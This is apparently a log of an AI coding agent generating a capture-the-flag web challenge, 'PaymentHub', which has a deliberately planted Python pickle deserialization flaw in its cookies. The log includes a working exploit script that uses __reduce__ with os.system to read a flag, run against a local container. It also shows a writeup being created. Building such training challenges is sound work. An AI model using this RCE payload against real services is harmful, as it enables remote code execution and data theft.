   command: "curl -s -X POST http://localhost:42567/ -d "product=TestProduct&amount=99.99" | grep -E "(Order Created|order ID)" | head -5"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
<title>Order Created - PaymentHub</title>
            <h2>✓ Order Created Successfully!</h2>
            <p>Your order ID: <strong>#1</strong></p>
🤖
太好了！✅ **基础功能正常 - 订单创建成功**

现在继续进行第4层验证：使用简易 exp 测试漏洞触发

### 第4层：漏洞触发测试

让我创建并运行简易 exp 草稿：

🔧 Tool call: save-file
   file_content: "import pickle
   import base64
   import requests
   import time
   
   url = "http://localhost:42567"
   
   class RCE:
       def __reduce__(self):
           import os
           return os.system, ('cat /flag > /app/static/flag.txt',)
   
   payload = base64.b64encode(pickle.dumps(RCE())).decode()
   print(f"[*] Payload generated: {payload[:50]}...")
   
... (12 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/test_exp.py}
🤖
好的，现在运行测试 exp：

🔧 Tool call: launch-process
   command: "cd output/20260108_121741_PaymentHub && python3 test_exp.py"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
[*] Payload generated: gASVOwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCBjYXQgL2...
[*] Trigger response status: 200
[*] Flag response status: 200
[*] Flag content: DASCTF{test12345}
🤖
完美！✅ **漏洞触发成功 - 成功获取 FLAG**

## 8.2 测试清单

- [x] Docker 容器正常启动
- [x] 前端页面正常显示
- [x] 前端无测试账号泄露
- [x] 简易 exp 能触发漏洞并获取 FLAG

✅ **阶段8测试全部通过，进入阶段9**

---

# 阶段9：exp 和 writeup
[2026-01-08 12:20:52] [STAGE] [Augment] 🎯 [阶段 8] 阶段 8

## 9.1 完善 exp.py

基于测试成功的简易 exp，完善为标准格式：

🔧 Tool call: save-file
   file_content: "#!/usr/bin/python
   # -*- coding: utf-8 -*-
   import re, sys, requests
   import pickle
   import base64
   import time
   
   HOST, PORT, FLAG = sys.argv[1:4]
   
   def exp(ip, port):
       url = f"http://{ip}:{port}"
       
       class RCE:
           def __reduce__(self):
[2026-01-08 12:20:52] [INFO] [Augment] [已处理 1000 行]
               import os
... (19 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/exp.py}
🤖
好的，我会继续执行。现在运行 exp.py 验证：

## 9.2 运行 exp.py 验证

🔧 Tool call: launch-process
   command: "cd output/20260108_121741_PaymentHub && python3 exp.py localhost 42567 test12345"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
Pass!
🤖
完美！✅ **exp.py 测试通过，输出 `Pass!`**

现在继续编写 writeup.md：

## 9.3 编写 writeup.md

🔧 Tool call: save-file
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/writeup.md"
   file_content: "# PaymentHub 的解题思路
   
   ## 题目信息
   | 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
   | :----: | :------: | :--: | :----------: | :--: | :--: |
   | PaymentHub | 一个现代化的在线支付平台，支持创建订单、查看订单详情等功能。平台采用Cookie机制保存用户的订单信息，确保用户体验流畅。然而，在便利性的背后，可能隐藏着一些安全隐患... | WEB | 1小时 | 入门 | 否 |
   
   ## 知识点
   1. Python Pickle 反序列化漏洞
   2. Base64 编码与解码
   3. Cookie 数据传输机制
   4. 命令执行与文件读取
   
... (88 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/writeup.md}
🤖
完美！现在删除测试文件并输出最终成果：

🔧 Tool call: remove-files
   file_paths: ["output/20260108_121741_PaymentHub/test_exp.py"]

📋 Tool result: remove-files
File(s) removed: output/20260108_121741_PaymentHub/test_exp.py
🤖
完美！现在让我验证最终文件结构并输出成果：

🔧 Tool call: launch-process
   command: "tree output/20260108_121741_PaymentHub -L 4"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
output/20260108_121741_PaymentHub
├── docker
│   ├── docker-compose.yml
│   └── web
│       ├── Dockerfile
│       ├── files
│       │   ├── flag.sh
│       │   └── start.sh
│       └── src
│           ├── app.py
│           ├── requirements.txt
│           ├── static
│           └── templates
├── exp.py
└── writeup.md

7 directories, 8 files
🤖
完美！让我查看完整的文件列表：

🔧 Tool call: launch-process
   command: "find output/20260108_121741_PaymentHub -type f | sort"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
output/20260108_121741_PaymentHub/docker/docker-compose.yml
[2026-01-08 12:21:37] [INFO] [Augment] [已处理 1100 行]
output/20260108_121741_PaymentHub/docker/web/Dockerfile
output/20260108_121741_PaymentHub/docker/web/files/flag.sh
output/20260108_121741_PaymentHub/docker/web/files/start.sh
output/20260108_121741_PaymentHub/docker/web/src/app.py
output/20260108_121741_PaymentHub/docker/web/src/requirements.txt
output/20260108_121741_PaymentHub/docker/web/src/static/style.css
output/20260108_121741_PaymentHub/docker/web/src/templates/about.html
output/20260108_121741_PaymentHub/docker/web/src/templates/error.html
output/20260108_121741_PaymentHub/docker/web/src/templates/index.html
output/20260108_121741_PaymentHub/docker/web/src/templates/order.html
output/20260108_121741_PaymentHub/docker/web/src/templates/success.html
output/20260108_121741_PaymentHub/exp.py
output/20260108_121741_PaymentHub/writeup.md
🤖
完美！所有文件已生成完毕。现在让我停止测试容器并输出最终成果：

🔧 Tool call: launch-process
   command: "cd output/20260108_121741_PaymentHub/docker && docker-compose -p ctf_paymenthub down"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 30
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
Container paymenthub_web  Stopping
Container paymenthub_web  Stopping
Container paymenthub_web  Stopped
Container paymenthub_web  Removing
Container paymenthub_web  Removed
Network ctf_paymenthub_default  Removing
Network ctf_paymenthub_default  Removed
🤖
完美！容器已停止。现在输出最终成果：

---

# 阶段10：成品输出
[2026-01-08 12:22:04] [STAGE] [Augment] 🎯 [阶段 9] 阶段 9

✅ **题目生成完成！**

```
output/20260108_121741_PaymentHub/
├── docker/
│   ├── docker-compose.yml
│   └── web/
│       ├── Dockerfile
│       ├── files/
│       │   ├── flag.sh
│       │   └── start.sh
│       └── src/
│           ├── app.py
│           ├── requirements.txt
│           ├── static/
│           │   └── style.css
│           └── templates/
│├── about.html
│               ├── error.html
│               ├── index.html
│               ├── order.html
│               └── success.html
├── exp.py
└── writeup.md
```

## 题目信息总结

**题目名称**: PaymentHub

**难度**: 入门

**漏洞类型**: Python Pickle 反序列化

**应用场景**: 支付平台

**容器端口**: 42567

**利用链**:
1. 访问支付平台首页
2. 创建订单后发现 Cookie 中存储 Base64 编码数据
3. 识别出 Cookie 中是 Pickle 序列化对象
4. 构造恶意 Pickle 对象实现 RCE
5. 读取 flag 文件

**测试结果**:
- ✅ Docker 容器正常启动
- ✅ 前端页面正常显示
- ✅ 基础功能正常工作
- ✅ exp.py 成功获取 flag 并输出 "Pass!"

**文件清单**:
- 后端代码: app.py (Flask 应用)
- 前端模板: 5 个 HTML 文件
- 样式文件: style.css
- Docker 配置: Dockerfile, docker-compose.yml
- 启动脚本: flag.sh, start.sh
- 依赖文件: requirements.txt
- 利用脚本: exp.py
- 解题文档: writeup.md
[2026-01-08 12:22:04] [INFO] [Augment] [已处理 1200 行]

---

## [CTF_GENERATION_COMPLETE]
[2026-01-08 12:22:04] [SUCCESS] [Augment] 检测到生成完成标记，所有阶段已完成
[2026-01-08 12:22:04] [SUCCESS] [Augment] Augment 执行完成，耗时: 339.20 秒